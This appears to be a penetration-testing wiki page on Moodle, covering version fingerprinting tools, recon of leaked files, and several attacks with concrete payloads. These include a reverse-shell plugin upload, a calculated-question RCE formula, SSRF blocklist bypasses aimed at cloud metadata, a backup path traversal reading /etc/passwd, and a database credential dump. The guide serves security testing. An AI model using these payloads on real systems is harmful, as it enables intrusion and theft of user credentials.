moodle.md (13254B)
1 --- 2 title: "Moodle" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/pentesting-web/moodle.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/moodle.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Moodle 14 15 ## Automatic Scans 16 17 Automatic scanners are primarily useful for fingerprinting. Confirm their version candidates manually, then compare the installed core and plugins with both Moodle's official security announcements and a package-oriented vulnerability tracker such as Snyk.<sup>[[5]](#references)[[7]](#references)</sup> 18 19 ### droopescan 20 21 `droopescan` fingerprints Moodle versions and plugins from exposed files and paths; treat its version candidates as hypotheses to confirm manually.<sup>[[3]](#references)</sup> 22 23 ```bash 24 pip3 install droopescan 25 droopescan scan moodle -u http://moodle.example.com/<moodle_path>/ 26 27 [+] Plugins found: 28 forum http://moodle.schooled.htb/moodle/mod/forum/ 29 http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt 30 http://moodle.schooled.htb/moodle/mod/forum/version.php 31 32 [+] No themes found. 33 34 [+] Possible version(s): 35 3.10.0-beta 36 37 [+] Possible interesting urls found: 38 Static readme file. - [http://moodle.schooled.htb/moodle/README.txt](http://moodle.schooled.htb/moodle/README.txt) 39 Admin panel - [http://moodle.schooled.htb/moodle/login/](http://moodle.schooled.htb/moodle/login/) 40 41 [+] Scan finished (0:00:05.643539 elapsed) 42 ``` 43 44 ### moodlescan 45 46 The community `moodlescan` project uses version artifacts and its own vulnerability database; refresh that database before scanning.<sup>[[4]](#references)</sup> 47 48 ```bash 49 # Install from https://github.com/inc0d3/moodlescan 50 python3 moodlescan.py -a # Refresh vuln/version DB first 51 python3 moodlescan.py -k -r -u http://moodle.example.com/<moodle_path>/ 52 53 Version 0.8 - May/2021 54 ............................................................................................................. 55 56 By Victor Herrera - supported by www.incode.cl 57 58 ............................................................................................................. 59 60 Getting server information http://moodle.schooled.htb/moodle/ ... 61 62 server : Apache/2.4.46 (FreeBSD) PHP/7.4.15 63 x-powered-by : PHP/7.4.15 64 x-frame-options : sameorigin 65 last-modified : Wed, 07 Apr 2021 21:33:41 GMT 66 67 Getting moodle version... 68 69 Version found via /admin/tool/lp/tests/behat/course_competencies.feature : Moodle v3.9.0-beta 70 71 Searching vulnerabilities... 72 73 Vulnerabilities found: 0 74 75 Scan completed. 76 ``` 77 78 ### badmoodle 79 80 ```bash 81 git clone https://github.com/cyberaz0r/badmoodle 82 cd badmoodle && pip3 install -r requirements.txt 83 ./badmoodle.py -u https://moodle.example.com/<moodle_path>/ -l 3 -s -o badmoodle.json 84 ``` 85 86 `badmoodle` is useful when you want more than plain version detection: level 2/3 checks also use 404-page fingerprinting, hash comparison, and plugin/theme enumeration, and the project includes community vulnerability modules. 87 88 ### CMSMap 89 90 ```bash 91 pip3 install git+https://github.com/dionach/CMSmap.git 92 cmsmap http://moodle.example.com/<moodle_path> 93 ``` 94 95 ### CVEs 96 97 Automatic tools are mostly useful for **fingerprinting**. They are usually **not enough to prove exploitability** on modern Moodle deployments, so verify findings manually and cross-check the version against Moodle's official security announcements.<sup>[[5]](#references)</sup> 98 99 ## Manual Enumeration 100 101 A lot of Moodle recon still comes from files that should not be world-readable but often are: 102 103 ```bash 104 curl -sk https://moodle.example.com/<moodle_path>/README.txt 105 curl -sk https://moodle.example.com/<moodle_path>/lib/upgrade.txt | head 106 curl -sk https://moodle.example.com/<moodle_path>/composer.lock | head 107 curl -sk https://moodle.example.com/<moodle_path>/admin/tool/lp/tests/behat/course_competencies.feature | head 108 curl -sk https://moodle.example.com/<moodle_path>/question/upgrade.txt | head 109 ``` 110 111 Interesting targets during recon: 112 113 - `README.txt`, `lib/upgrade.txt`, `question/upgrade.txt`, `composer.lock`, `composer.json`, and `admin/environment.xml` frequently leak enough metadata to fingerprint the exact branch. 114 - `tests/behat/*.feature` files can disclose features, plugins, and sometimes a very precise version fingerprint (this is exactly what `moodlescan` abuses). 115 - Once you know the branch, enumerate only the plugins/themes really present under `/mod/`, `/blocks/`, `/theme/`, `/auth/`, and `/local/` instead of spraying generic Moodle CVEs. 116 117 ## RCE 118 119 ### Plugin upload (manager/admin) 120 121 If your account has the `moodle/site:config` capability and plugin installation is enabled, open **Site administration** and use the plugin installer. The standard Manager role does not necessarily have this capability, so test effective permissions instead of relying only on the displayed role name.<sup>[[6]](#references)</sup> 122 123  124 125 On older branches, this was sometimes reachable from a teacher account by chaining the course-enrolment privilege escalation into manager permissions and then enabling plugin installation. 126 127 If you can reach the plugin installer, upload a malicious plugin. For example, you can use the following ZIP that contains the classic pentestmonkey PHP reverse shell (decompress it first, change the IP/port, and compress it again): 128 129 [Moodle Rce Plugin.Zip](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/moodle-rce-plugin.zip) 130 131 You can also use [https://github.com/HoangKien1020/Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE) to get a regular PHP shell controlled with the `cmd` parameter. 132 133 After installation, trigger the payload at: 134 135 ```bash 136 http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id 137 ``` 138 139 ### Calculated questions to RCE (authenticated teacher/trainer) 140 141 A much more interesting modern primitive was disclosed in 2024: on vulnerable branches fixed in **4.4.2 / 4.3.6 / 4.2.9 / 4.1.12**, a user who can **create or edit calculated questions** in a quiz can turn the answer formula into code execution.<sup>[[1]](#references)</sup> 142 143 Practical exploitation flow: 144 145 1. Open the quiz editor (`/mod/quiz/edit.php?cmid=<cmid>`) and collect `sesskey`, `courseContextId`, and the question `category`. 146 2. Create a **calculated** question via `/question/bank/editquestion/question.php`. 147 3. Set the malicious answer formula, for example: 148 149 ```php 150 (1)->{system($_GET[chr(97)])} 151 ``` 152 153 4. Continue the wizard (`wizardnow=datasetdefinitions` --> `wizardnow=datasetitems`) until the question is saved. 154 5. Re-open the question URL and append `&a=id` (or any command) to execute it. 155 156 If Moodle tries to treat `{system($_GET[chr(97)])}` as a wildcard variable, edit the generated `select` element before submitting and force its selected value to `0` so the placeholder is **not** replaced during evaluation. Rapid7 also published a Metasploit module (`exploit/linux/http/moodle_rce`) that automates this flow. 157 158 If you need to build payloads under tighter character restrictions, check [these PHP payload-construction tricks](/hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/overview), as the same research used `acos(2)`, XOR-generated strings, and PHP variable functions to survive Moodle's validation logic. 159 160 ## SSRF 161 162 In 2025, Quarkslab showed that Moodle's URL fetching logic could be abused for **authenticated SSRF** because the host/IP allowlist check and the final `curl_exec()` request do **not** necessarily use the same DNS resolution result. This enables a classic **TOC/TOU DNS-rebinding** bypass of Moodle's IP blocklist.<sup>[[2]](#references)</sup> 163 164 Interesting attacker-controlled entry points mentioned in the research: 165 166 - **Calendar subscriptions** via `calendar/import.php` 167 - **File picker URL downloader**, where Moodle first fetches an attacker HTML page and then downloads the embedded image URLs 168 169 Practical takeaways: 170 171 - The primitive is especially interesting for reaching `localhost` or internal web apps over **HTTP/HTTPS on ports 80/443**. 172 - If the Moodle server runs in a cloud environment with **IMDSv1** enabled, SSRF may be enough to steal instance metadata and pivot further. For generic bypasses and cloud pivots, check [the SSRF page](/hacktricks/pentesting-web/ssrf-server-side-request-forgery/overview) and [these cloud SSRF tricks](/hacktricks/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf). 173 - When testing the file picker path, serving an attacker-controlled HTML page with embedded `img` tags is enough to make Moodle perform the follow-up fetches on your behalf. 174 175 ### IPv4-mapped IPv6 blocklist bypass 176 177 A separate URL-downloader bypass fixed in **5.2.2 / 5.1.6 / 5.0.9 / 4.5.13** abused IPv4-mapped IPv6 literals. Vulnerable versions compared an address such as `::ffff:127.0.0.1` against IPv6 rules without also applying the equivalent IPv4 rule (for example `127.0.0.0/8`). Consequently, the URL downloader could accept a blocked IPv4 destination written in mapped form.<sup>[[5]](#references)[[9]](#references)</sup> 178 179 Try mapped literals anywhere you control a URL-fetching input (especially the file-picker URL downloader):<sup>[[9]](#references)</sup> 180 181 ```bash 182 # Loopback, RFC1918 and link-local/metadata examples. -g disables curl URL globbing. 183 curl -g 'http://[::ffff:127.0.0.1]/' 184 curl -g 'http://[::ffff:10.0.0.10]/' 185 curl -g 'http://[::ffff:169.254.169.254]/latest/meta-data/' 186 ``` 187 188 This is a representation mismatch, not DNS rebinding: the destination is an IPv6 literal whose last 32 bits encode an IPv4 address. The patch normalizes mapped addresses and tests the unwrapped IPv4 value against exact-address, range, and CIDR block rules.<sup>[[9]](#references)</sup> 189 190 ## Arbitrary File Read 191 192 ### Crafted `.mbz` backup `contenthash` path traversal 193 194 On versions fixed in **5.2.1 / 5.1.5 / 5.0.8 / 4.5.12**, a user who can restore course backups can turn a file record in `files.xml` into a server-side file-read primitive. Moodle used the attacker-controlled `contenthash` both to calculate the path below the extracted backup's `files/` directory and as the final path component, without first requiring a 40-character lowercase SHA-1. Starting the value with `..` therefore escapes the extraction directory; the selected local file is then copied into Moodle's file pool as the restored resource.<sup>[[5]](#references)[[8]](#references)</sup> 195 196 A practical test starts from a legitimate backup containing a downloadable **File** resource, so its file record and activity mappings are already valid:<sup>[[8]](#references)</sup> 197 198 ```bash 199 file course.mbz 200 mkdir mbz && bsdtar -xf course.mbz -C mbz 201 rg -n '<contenthash>' mbz/files.xml 202 203 # Replace the contenthash of the chosen downloadable file record with, for example: 204 # <contenthash>../../../../../../../../../../../../etc/passwd</contenthash> 205 206 (cd mbz && zip -qr ../crafted.mbz .) 207 ``` 208 209 Upload `crafted.mbz` through `/backup/restorefile.php`, complete the restore, and download the restored File resource. The traversal depth only needs to be large enough to reach the filesystem root. The fixed code rejects every non-empty `contenthash` that does not match `^[a-f0-9]{40}$`; use that invariant as a safe patch check instead of attempting to read a sensitive file.<sup>[[8]](#references)</sup> 210 211 For the underlying PHP object-injection mechanics of the separate serialized `source`/repository-reference bugs, see [PHP deserialization](/hacktricks/pentesting-web/deserialization/overview).<sup>[[5]](#references)</sup> 212 213 ## Post-Exploitation 214 215 ### Find database credentials 216 217 ```bash 218 find / -name "config.php" 2>/dev/null | grep "moodle/config.php" 219 ``` 220 221 ### Dump credentials from the database 222 223 ```bash 224 /usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit" 225 ``` 226 227 228 ## References 229 230 - [1] [RedTeam Pentesting - Exploiting a Remote Code Execution Vulnerability in Moodle](https://blog.redteam-pentesting.de/2024/moodle-rce/) 231 - [2] [Quarkslab - Auditing Moodle's core hunting for logical bugs](https://blog.quarkslab.com/auditing-moodles-core-hunting-for-logical-bugs.html) 232 - [3] [droopescan project](https://github.com/SamJoan/droopescan) 233 - [4] [moodlescan project](https://github.com/inc0d3/moodlescan) 234 - [5] [Moodle - Security announcements](https://moodle.org/security/) 235 - [6] [MoodleDocs - Installing plugins](https://docs.moodle.org/en/Installing_plugins) 236 - [7] [Snyk - Moodle package vulnerabilities](https://security.snyk.io/package/composer/moodle%2Fmoodle) 237 - [8] [Moodle patch - Validate file record data on restore](https://github.com/moodle/moodle/commit/027897e061591f9b3a985a489d053773f8514246) 238 - [9] [Moodle patch - Treat IPv4-mapped IPv6 addresses as IPv4](https://github.com/moodle/moodle/commit/415dd3776c1e23a77aa07a287a7bd8a1ab44323a)